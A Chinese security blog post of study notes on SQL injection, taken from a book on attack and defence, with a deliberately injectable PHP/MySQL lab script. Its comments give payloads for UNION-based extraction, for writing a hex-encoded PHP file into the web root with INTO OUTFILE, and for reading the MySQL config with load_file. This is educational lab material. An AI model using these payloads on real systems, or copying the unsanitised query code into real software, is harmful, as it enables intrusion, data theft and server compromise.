技术笔记

SQL injection - 字符串转义/Mysql对文件的读写操作

字号+ 作者:sn0w 来源:转载 2016-11-27 15:52 我要评论( )

?php //《SQL注入攻击与防御》1.3 Page 11 //对转义字符处理不正确 //正常sql语句:SELECT * FROM user WHERE id=1 //构造攻击语句:SELECT * FROM user WHERE id=......

<?php
//《SQL注入攻击与防御》1.3 Page 11
//对转义字符处理不正确
//正常sql语句:SELECT * FROM user WHERE id='1
//构造攻击语句:SELECT * FROM user WHERE id='1' union select 1,2,version()''   【由于union要求列数相同 所以需要补充列数】
//修复:转义敏感字符 通过mysql_escape_string() 过滤字符
// $id=$_GET['id'];    //获取输入参数
// $id=mysql_escape_string($id);  //转义敏感字符
// $a=strpos($id,"\'");  //检查非法字符
// if($a==false){     //判断
//   $sql="SELECT * FROM user WHERE id='".$id."'";  //构造查询
// }else{
//   echo "Error";
//   exit();
// }
// echo $sql."<br/>";
//---------------------------END 2016年8月18日 17:34:08------------------------------
//《SQL注入攻击与防御》1.3 Page 13
//mysql写入文件 语句进行hex加密  写出时解密  注意单引号闭合问题。
//SELECT * FROM user WHERE id='1' union select 1,2,unhex('3c3f706870206563686f2022787878223f3e') into outfile 'D:/phpstudy/www/phpinfo.php'''
//---------------------------END 2016年8月18日 22:26:44------------------------------
//《SQL注入攻击与防御》1.3 Page 13
//mysql读取文件
//SELECT * FROM user WHERE id='1' union all select 1,2,load_file("D:/phpStudy/MySQL/my.ini")''
//--------------------------END 2016年8月18日 22:40:24-------------------------------
//连接数据库
  $coon = mysql_connect('localhost','root','root') or die('Connect Error :'.mysql_error());
  mysql_select_db('sqlinjection',$coon);
//构造语句
  $sql="SELECT * FROM user WHERE id='".$_GET['id']."'"; //传入的如果是字符串 必须加单引号
  echo $sql."<br/>";
//执行语句
  $result=mysql_query($sql) or die (mysql_error());
//var_dump($result);
//exit();
//检查返回数据数量
  $rowcount=mysql_num_rows($result);
  //var_dump($result);
  //exit();
//迭代返回数据
$row=1;
while($db=mysql_fetch_assoc($result)){
  //var_dump($db);
  if($row <= $rowcount){
    echo "id:".$db['id']."<br/>";
    echo "usernmae:".$db['username']."<br/>";
    echo "password:".$db['password']."<br/>";
    $row++;
  }
}
 ?>

本文来自: 蜗蜗侠's Blog-关注网络安全 http://blog.icxun.cn/Note/340.html

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
  • 转大表哥安全狗SQL注入语句(176处)

    转大表哥安全狗SQL注入语句(176处)

    2017-12-05 13:47

  • Mysql注入点在limit关键字后面的利用方法

    Mysql注入点在limit关键字后面的利用方法

    2016-12-18 15:06

  • 一个罕见的MSSQL注入漏洞案例

    一个罕见的MSSQL注入漏洞案例

    2016-12-18 15:03

  • postgresql注入之文件读写

    postgresql注入之文件读写

    2016-12-13 15:25

网友点评
暂时未开启评论功能~